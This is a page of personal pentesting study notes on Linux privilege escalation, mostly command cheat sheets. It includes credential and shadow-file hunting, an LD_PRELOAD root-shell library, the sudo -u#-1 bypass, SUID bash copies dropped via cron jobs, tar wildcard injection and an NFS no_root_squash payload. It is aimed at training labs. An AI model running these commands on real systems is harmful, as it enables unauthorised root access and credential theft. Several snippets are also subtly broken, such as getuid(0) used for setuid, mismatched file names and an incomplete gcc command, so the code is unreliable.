Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  • Resources:
  • Initial Enumeration
  • Exploring Automated Tools
  • Kernel Exploits
  • Passwords & File Permissions
  • Sudo
  • SUID
  • Other SUID Escalation
  • Capabilities
  • Scheduled Tasks
  • NFS Root Squashing
  • Docker
  1. Pentesting
  2. NET-Pen
  3. Privilege Escalation

Linux Privilege Escalation

PreviousWindows Privilege EscalationNextwrite-ups

Last updated 6 months ago

Resources:

  1. Basic Linux Privilege Escalation -

  2. Linux Privilege Escalation -

  3. Checklist - Linux Privilege Escalation -

  4. Sushant 747's Guide (Country dependant - may need VPN) -

  5. All links and resources found in the course can also be found at the following repository:

  6. Walkthrough-

Initial Enumeration

#System Enumeration
hostname
uname -a
cat /proc/version
cat /etc/issue
lscpu
ps aux        #sevices running
ps aux | grep root
sudo -V

#User Enumeration
whoami
id
sudo -l
cat /etc/sudoers
cat /etc/passwd
cat /etc/passwd | cut -d : -f 1
cat /etc/shadow
history

#Network Enumeration
ifconfig
ip a
ip route
ip neigh    #To view arp table
netstat -ano

#Password Hunting
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
locate password | more
locate pass | more
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null

Exploring Automated Tools

#LinPeas - https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
#LinEnum - https://github.com/rebootuser/LinEnum
#Linux Exploit Suggester - https://github.com/mzet-/linux-exploit-suggester
#Linux Priv Checker - https://github.com/sleventyeleven/linuxprivchecker
#Downlaod linpeas and run it
./linpeas.sh
#Downlaod Linux Exploit Suggester and run it
./linux-exploit-suggester.sh

Kernel Exploits

#Kernel Exploits - https://github.com/lucyoa/kernel-exploits
uname -a
#search kenal exploit related to the result we got
#then run the exploit, if needed compile the code

Passwords & File Permissions

#Escalation via Stored Passwords
history    #we may have password or good comamnds
cat .bash_history
su root
grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null
find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;
#Downlaod linpeas and run it
./linpeas.sh
#check the files that are infront of us :)

#Escalation via Weak File Permissions
ls -la /etc/passwd
ls -la /etc/shadow
#Here we can passwords, refer to password cracking section

#Escalation via SSH Keys
find / -name authorized_keys 2> /dev/null
find / -name id_rsa 2> /dev/null
#Generating ssh keys
ssh-keygen -t rsa
#From here we can try put public keys in authorized_keys file and try to connect with private key (very rare case)
#If we got any private key we can directly connect
#connecting via ssh private key
chmod 600 <Private_key>
ssh -i <priate_key> <username>@<ip_address>
#Note: public keys stored in authorized_keys file 

Sudo

#Escalation via Sudo Shell Escaping
#GTFOBins - https://gtfobins.github.io/
#Linux PrivEsc Playground - https://tryhackme.com/room/privescplayground
sudo -l
#By using GTFO bin we can get shell

#Escalation via Intended Functionality
sudo -l
#just google the service privilege escalation we need
#wget example - https://veteransec.com/2018/09/29/hack-the-box-sunday-walkthrough/

#Escalation via LD_PRELOAD
sudo -l
#Write a shell
nano shell.c
#Code goes here
#now compile the code
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
#now the file
sudo LD_PRELOAD=/home/usr/shell.so <any_sudo_command>     #sudo LD_PRELOAD=/home/usr/shell.so vim

#Simple CTF TryHackMe Walkthrough
#https://www.hackingarticles.in/simple-ctf-tryhackme-walkthrough/
#dirsearch - https://github.com/maurosoria/dirsearch
#Exploit-DB for Simple CMS - https://www.exploit-db.com/exploits/46635

#CVE-2019-14287 
#Exploit-DB for CVE-2019-14287 - https://www.exploit-db.com/exploits/47502
#Sudo Security Bypass [TryHackMe]
#https://martinkubecka.github.io/posts/thm/sudo-security-bypass/
#you may see like this: "hacker ALL=(ALL,!root) /bin/bash"
#you can by pass using below command
sudo -u#-1 /bin/bash

#CVE-2019-18634
#Exploit for CVE-2019-18634 - https://github.com/saleemrashid/sudo-cve-2019-18634
#TryHackMe: Sudo Buffer Overflow Walkthrough
#https://r4v4n.medium.com/tryhackme-sudo-buffer-overflow-walkthrough-14e7f5a2a0c7
sudo -V
#now try the exploit if version you got is vulnerable
//Code as follows shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    getuid(0);
    system("/bin/bash");
}

SUID

#SUID
find / -perm -u=s -type f 2>/dev/null
#from the result check the permissions
ls -la <command_you_got>        #EX: ls -la /usr/bin/chsh
#Now we can use GTFO bins to exploit
#https://gtfobins.github.io/#+suid
#Write -Up 06-TryHackMe-Vulnversity
#https://infosecwriteups.com/write-up-06-tryhackme-vulnversity-9b5f8e365be8

Other SUID Escalation

#Escalation via Shared Object Injection
find / -type f -perm -04000 -ls 2>/dev/null
#from the result check the permissions
ls -la <command_you_got>        #EX: ls -la /usr/bin/chsh
#check the result by running commands you got
<command_you_got>      #EX: /usr/bin/chsh
#we trace the results by using strace tool
strace <command_you_got> 2>&1     #EX: strace /usr/bin/chsh 2>&1 
strace <command_you_got> 2>&1 | grep -i -E "open|access|no such file"
#we may get files that file not found, we can replace that file with malitious script and escalate privileges
#code goes here
#now we will compile the code
gcc -shared -fPIC -o /home/user
#now place the file in the path we got previously
#now the command we got then we may have root

#Escalation via Binary Symlinks
#This vulnerability is with nginx < 1.6.2 and "S" bit in sudo as well
#Nginx Exploit - https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html
#from expoit suggester you may get nginx exploit as well
dpkg -l | grep nginx
find / -type f -perm -04000 -ls 2>/dev/null
ls -la /var/log/nginx
#now downlaod and run the nginx exploit
./nginxed-root.sh /var/log/nginx/error.log
#now make a another connection to the server
ssh <username>@<ip_address>
invoke-rc.d nginx rotate >/dev/null 2>&1
#we will get shell in previous shell

#Escalation via Environmental Variables (watch the video for better clarity)
env
find / -type f -perm -04000 -ls 2>/dev/null
#run any env commands we got from above command
#Also run string for that command
strings <command_we_got>
print $PATH
#now we will make a new malitious service
echo 'int main() { setgid(0); getuid(0); system("/bin/bash"); return 0;}' > /tmp/service.v
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
print $PATH
#Now run the command we got previously
//Code goes here
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

Void inject(){
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Capabilities

#Linux Privilege Escalation using Capabilities - https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/
#SUID vs Capabilities - https://mn3m.info/posts/suid-vs-capabilities/
#Linux Capabilities Privilege Escalation - https://medium.com/@int0x33/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099
getcap -r / 2>/dev/null
#here "ep" is like everything
#Escalation via Capabilities
<command_we_got> -c 'import os; os.setgid(0); os.system("/bin/bash")'     #/usr/bin/python2.6 -c 'import os; os.setgid(0); os.system("/bin/bash")'

Scheduled Tasks

#Cron & Timers
cat /etc/crontab
#https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

#Escalation via Cron Paths
cat /etc/crontab
#we can make or modify files that are running regularly with the below code and we will get root shell
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /<filename>
chmod +x /<filename>
#check the /tmp/bash over written or not
ls -la /tmp
#once over written run below command
/tmp/bash -p
id
whoami

#Escalation via Cron Wildcards(you can watch video for better understanding)
cat /etc/crontab
#if we find anything running wih "tar *" we can use this
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > runme.sh
chmod +x runme.sh
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\runme.sh    #touch /home/user/--checkpoint-action=exec=sh\ runme.sh
/tmp/bash -p
id
whoami

#Escalation via Cron File Overwrites
#overwrite the file file using below command
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /<filename>
#check the /tmp/bash over written or not
ls -la /tmp
#once over written run below command
/tmp/bash -p
id
whoami

#TryHackMe-CMesS Walkthrough
#https://sparshjazz.medium.com/tryhackme-cmess-walk-240847b44f31

NFS Root Squashing

#Escalation via NFS Root Squashing
cat /etc/exports
#We can see no_Root_Squash, we can use this to mount a folder to victim
#run below commands in attacker machine
showmount -o <victim_ip>
mkdir /tmp/mountme
mount -o rw,vers=2 <victim_ip>:/tmp /tmp/mountme
echo 'int main() { setgid(0); getuid(0); system("/bin/bash"); return 0;}' > /tmp/mountme/x.c
gcc /tmp/mountme/x.c -o /tmp/mountme/x
chmod +x /tmp/mountme/x
#Run belwo commands in victim machine
cd /tmp
./x
#we will get shell

Docker

#UltraTech TryHackMe Walkthrough
#https://www.hackingarticles.in/ultratech-tryhackme-walkthrough/
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist
https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html
https://github.com/Gr1mmie/Linux-Privilege-Escalation-Resources
https://0xsmiley.github.io/2020-07-26-LinuxPrivEsc/